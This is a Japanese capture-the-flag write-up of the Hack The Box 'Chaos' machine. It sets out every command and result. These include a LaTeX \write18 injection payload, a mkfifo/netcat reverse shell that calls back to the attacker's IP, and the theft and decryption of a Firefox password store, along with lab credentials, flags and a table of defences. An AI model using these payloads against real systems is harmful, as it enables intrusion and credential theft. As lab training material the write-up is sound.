Hack The BoxのWriteup(Chaos)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Chaos — 全実行コマンド・実行結果レポート
Nmap スキャン
80/110/143/993/995/10000
→
直接IPのみで見える
/wp/wordpress/
→
wpscan + 記事パスワード
human (username=password)
→
webmail資格情報
ayush:jiujitsu
→
AES-CBC復号
鍵=SHA256(“sahay”)
→
LaTeX write18 RCE
認証不要 www-data
→
su ayush
user.txt ✓
→
Firefox保存資格情報
firefox_decrypt
→
root:Thiv8wrej~
Linuxパスワード再利用
→
root.txt ✓

Nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 80,110,143,443,993,995,10000 10.129.75.178
RESULT
PORT      STATE  SERVICE  VERSION
80/tcp    open   http     Apache httpd 2.4.34 ((Ubuntu))
110/tcp   open   pop3     Dovecot pop3d
143/tcp   open   imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=chaos
|_Subject Alternative Name: DNS:chaos
993/tcp   open   ssl/imap Dovecot imapd (Ubuntu)
995/tcp   open   ssl/pop3 Dovecot pop3d
10000/tcp open   http     MiniServ 1.890 (Webmin httpd)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: SSL証明書のCommonNameが chaos であることからvhost chaos.htb が推定できる。Dovecot (IMAP/POP3) と Webmin(10000) の組み合わせから「Webメール経由の 資格情報漏洩」という攻撃チェーンが疑われる。

vhost設定の確認

BASH
echo "10.129.75.178 chaos.htb" >> /etc/hosts
curl -s http://10.129.75.178/          # Hostヘッダ無し(直接IP)
curl -s -H "Host: chaos.htb" http://10.129.75.178/
RESULT
# 直接IP:
<h1><center><font color="red">Direct IP not allowed</font></center></h1>

# Host: chaos.htb:
<title>Chaos</title>  (企業ポートフォリオ風の静的ページ)
ℹ️
ルート / は Host ヘッダで vhost を判定し、一致しない場合 “Direct IP not allowed” を返す仕組み。ただし後述の通り、この判定は サブディレクトリには適用されないという抜け穴がある。
PHASE 2

直接IPのみで見える隠しWordPress → 記事パスワード突破

/wp/ ディレクトリの発見 (直接IPのみ到達可能)

BASH
curl -s http://10.129.75.178/wp/   # 直接IP、Hostヘッダ無し
RESULT
<h1>Index of /wp</h1>
...
<a href="wordpress/">wordpress/</a>
🚨
重要発見: /wp/ 配下は Host ヘッダチェックを バイパスして直接IPでアクセス可能。/wp/wordpress/ が 実際のWordPressインストールで、アクセスすると http://wordpress.chaos.htb へ自動リダイレクトする (/etc/hosts に追記が必要)。
BASH
echo "10.129.75.178 wordpress.chaos.htb" >> /etc/hosts
curl -sL "http://wordpress.chaos.htb/?feed=rss2"
RESULT
<title>Protected: chaos</title>
<link>http://wordpress.chaos.htb/index.php/2018/10/28/chaos/</link>

wpscan でユーザー列挙

BASH
wpscan --url http://wordpress.chaos.htb --enumerate u --no-banner
RESULT
[+] Enumerating Users (via Passive and Aggressive Methods)
User(s) Identified:
[+] human
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: Rss Generator / Wp Json Api / Login Error Messages
ℹ️
このWordPressインストールには唯一のユーザー human しか 存在しない。パスワード保護記事の名前から、このユーザー名が そのままパスワードとして使われている可能性を試す。

記事パスワードの突破 (ユーザー名=パスワード)

BASH
curl -s -c cookies.txt -d "post_password=human&Submit=Enter" \
  "http://wordpress.chaos.htb/wp-login.php?action=postpass"

curl -s -b cookies.txt \
  "http://wordpress.chaos.htb/index.php/2018/10/28/chaos/"
RESULT
<div class="entry-content">
<p>Creds for webmail :</p>
<p>username – ayush</p>
<p>password – jiujitsu</p>
</div>
✅
突破成功! パスワード保護を解除するPOSTは記事URL自体 ではなく wp-login.php?action=postpass へ送る必要がある 点に注意。webmail用の資格情報 ayush / jiujitsu を入手。
webmail 資格情報 (記事から発見)
ayush : jiujitsu
PHASE 3

webmail (IMAP) Drafts フォルダ → 暗号化添付を復号 → 隠しURL発見

IMAP経由でDraftsフォルダのメールを取得

BASH
curl -s -k --url "imaps://10.129.75.178/Drafts" \
  --user "ayush:jiujitsu" -X "FETCH 1 BODY[]"
RESULT (抜粋)
Subject: service
From: ayush <ayush@localhost>
User-Agent: Roundcube Webmail/1.3.8

Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.

--...
Content-Type: application/octet-stream; name=enim_msg.txt
<base64エンコードされた暗号化データ>

--...
Content-Type: text/x-python; name=en.py
<base64エンコードされた復号スクリプト(en.py)>
ℹ️
メール本文「You are the password」から、暗号鍵が 宛先の名前 “sahay” であることがわかる。添付の en.py から暗号化方式(AES-CBC)とファイル形式も判明する。

添付ファイルのAES-CBC復号

NOTE
en.py から復号方式が判明: ファイル先頭16バイトが平文サイズ(ASCII数字の
ゼロ埋め)、続く16バイトがIV、鍵はSHA256("sahay")。
PYTHON
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import base64

def getKey(password):
    return SHA256.new(password.encode()).digest()

with open('enim_msg.txt', 'rb') as f:
    c = f.read()
filesize = int(c[:16])
iv = c[16:32]
key = getKey("sahay")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(c[32:])[:filesize]

# 復号結果はさらに1段base64エンコードされている
print(base64.b64decode(plaintext).decode())
RESULT
Hii Sahay

Please check our new service which create pdf

p.s - As you told me to encrypt important msg, i did :)

http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3

Thanks,
Ayush
✅
復号成功! 隠しURL http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 を発見。 復号結果が「さらにもう1段base64」になっている二重エンコードの罠に 注意(1回目のAES復号だけでは可読文字列にならない)。
PHASE 4

LaTeX PDFメーカーの \write18 shell-escape で認証不要RCE

隠しURLのアプリを確認

BASH
curl -s "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/"
RESULT
<title>Testing pdf maker</title>
<textarea id="content" name="content"></textarea>
<select name="template">
  <option value='test1'>test1</option>...
</select>
ℹ️
入力したテキストをテンプレートに差し込み ajax.php が バックエンドでLaTeXコンパイルしPDF化するテストアプリ。

write18 shell-escapeでコマンド実行確認

NOTE
LaTeXには \input{} や \include{} のような危険なコマンドのブラックリストが
あるが、shell-escape機能 \immediate\write18{<cmd>} は禁止リストに無く、
OSコマンドをそのまま実行できる。
BASH
curl -s -X POST "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode 'content=\immediate\write18{id}' \
  --data-urlencode 'template=test1'
RESULT (抜粋)
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd)uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! LaTeXのコンパイルログの中にコマンド出力が 紛れ込む形で返ってくる。認証不要で www-data 権限の 任意コマンド実行が可能。

リバースシェルの確立

BASH
# Kali側: リスナー起動
nc -lnvp 4444

# mkfifo方式でインタラクティブなリバースシェルを得る
curl -s -X POST "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "X-Requested-With: XMLHttpRequest" \
  --data-urlencode 'content=\immediate\write18{rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f}' \
  --data-urlencode 'template=test1'
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.75.178] 54160
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚠️
LaTeXコンパイル処理は \write18 の実行完了を待ってから レスポンスを返すため、ブロッキング型のリバースシェルコマンドを送ると HTTPリクエスト自体が、シェル接続を切るまで応答を返さず ハングする(curlは送信側で--max-time指定、 あるいはタイムアウトを許容する設計にしておくこと)。
PHASE 5

PTYアップグレード → su ayush → user.txt

su に必要なPTYへのアップグレード

BASH
$ su -l ayush
RESULT
su: must be run from a terminal
⚠️
mkfifoベースの素のパイプ経由シェルには制御端末(TTY)が無いため su が拒否される。Pythonの pty モジュールで 実在のPTYを割り当てることで解決する。
BASH
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@chaos:/var/www/main/.../compile$ su - ayush
Password: jiujitsu
RESULT
ayush@chaos:~$

user.txt 取得 (PATH環境変数のリセットに注意)

BASH
ayush@chaos:~$ cat user.txt
RESULT
Command 'cat' is available in '/bin/cat'
The command could not be located because '/bin' is not included in the
PATH environment variable.
cat: command not found
ℹ️
su でユーザーを切り替えると環境変数 PATH が リセットされる設定になっている。再度 export する。
BASH
ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ayush@chaos:~$ cat user.txt
RESULT
4cdc7df4f25d5a881ac82c5c27de9406
user.txt — ayush
4cdc7df4f25d5a881ac82c5c27de9406
PHASE 6

ayushのFirefox保存資格情報 → root.txt

.mozilla プロファイルの発見

BASH
ayush@chaos:~$ ls -la ~/.mozilla/firefox/*/
RESULT
/home/ayush/.mozilla/firefox/bzo7sjt1.default/:
-rw------- key4.db
-rw------- cert9.db
-rw-r--r-- logins.json
BASH
ayush@chaos:~$ cat ~/.mozilla/firefox/bzo7sjt1.default/logins.json
RESULT
{"logins":[{"hostname":"https://chaos.htb:10000",
"encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==",
"encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb", ...}]}
🚨
重要発見: https://chaos.htb:10000 (Webminのポート)へのログイン情報が、NSS暗号化された状態で Firefoxのプロファイルに保存されている。復号には key4.db/cert9.dbの鍵データが必要。

プロファイルの回収とfirefox_decryptでの復号

BASH
# ayushシェル側: 必要ファイルをtar+base64化して画面出力
ayush@chaos:~$ cd ~/.mozilla/firefox/bzo7sjt1.default/ && \
  tar czf /tmp/ff.tgz key4.db key3.db logins.json cert9.db pkcs11.txt 2>/dev/null; \
  base64 -w0 /tmp/ff.tgz

# Kali側: 出力を保存してデコード・展開
base64 -d ff_b64.txt > ffcreds.tgz
mkdir ff_profile && tar xzf ffcreds.tgz -C ff_profile

# firefox_decrypt (pip未配布、GitHubから直接取得)
git clone --depth 1 https://github.com/unode/firefox_decrypt
python3 firefox_decrypt/firefox_decrypt.py ff_profile
RESULT
Reading Primary password from standard input:
jiujitsu

Website:   https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
✅
復号成功! FirefoxのPrimary password(マスターパスワード)が ayushのLinuxパスワード jiujitsu と同一だったため復号できた。
Webmin/root 資格情報 (Firefox保存情報から復元)
root : Thiv8wrej~

root.txt 取得 (Webminではなく直接Linuxパスワードとして再利用)

NOTE
復号された資格情報はWebminアプリ専用かと思われたが、実際には単純に
Linuxのrootユーザーのパスワードとしてそのまま使い回されていた。
BASH
ayush@chaos:~$ su - root
Password: Thiv8wrej~
RESULT
root@chaos:~#
BASH
root@chaos:~# cat /root/root.txt
RESULT
f1552ac432d0bb6082edec37c375d830
root.txt — root@chaos
f1552ac432d0bb6082edec37c375d830
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — ayush
4cdc7df4f25d5a881ac82c5c27de9406
root.txt — root@chaos
f1552ac432d0bb6082edec37c375d830

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
vhostフィルタのバイパス Apache (サブディレクトリ) 隠しWordPressインストールの発見 Medium ルート”/”のみHostヘッダ検査が効き、/wp/配下は直接IPで到達可能
ユーザー名をそのままパスワードに使用 WordPress 記事パスワード保護 機密情報(webmail資格情報)の漏洩 Medium wpscanで判明した唯一のユーザー名”human”がそのまま記事パスワード
LaTeX shell-escape (\write18) PDFメーカーアプリ (ajax.php) 認証不要のリモートコード実行 Critical \input{}等はブラックリストだが\immediate\write18{}は許可されOSコマンド実行可能
Firefoxへの機密情報保存+マスターパスワード使い回し ayushの.mozillaプロファイル root権限資格情報の漏洩 High Webminログイン情報がブラウザに保存され、Primary password=Linuxパスワードと同一のため復号可能

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap -sV -sC80/110/143/993/995/10000(Webmin)
2隠しWordPressvhostバイパス + wpscan + 記事パスワード突破webmail資格情報 ayush:jiujitsu
3暗号添付復号IMAP Drafts + AES-CBC復号(鍵=SHA256(“sahay”))隠しURL /J00_w1ll_f1Nd_n07H1n9_H3r3
4RCELaTeX \immediate\write18{} + mkfifoリバースシェルwww-data シェル
5横移動pty.spawn PTYアップグレード + su ayushuser.txt
6権限昇格.mozillaプロファイル回収 + firefox_decrypt + su rootroot.txt

学んだ教訓 & 防御策

問題点防御策
Apacheのvhostフィルタがサブディレクトリに適用されておらず隠しサイトが直接IPで到達可能 全てのVirtualHost/Locationブロックで一貫してHostヘッダ検証を適用する。デフォルトvhostで全てのパスを確実に拒否する。
パスワード保護記事のパスワードがユーザー名そのもの 推測されやすいパスワードを避け、記事保護には十分にランダムなパスフレーズを使う。
社内テストアプリがLaTeXのshell-escape機能を無効化せず公開 pdflatexは必ず-no-shell-escapeオプション付きで実行する。ユーザー入力を直接LaTeXソースに埋め込まない。
ブラウザに機密システムの認証情報を保存し、マスターパスワードをLinuxログインパスワードと共用 ブラウザのパスワードマネージャーに特権システムの認証情報を保存しない。パスワードの使い回しを避ける。
HackTheBox: Chaos | 完全攻略レポート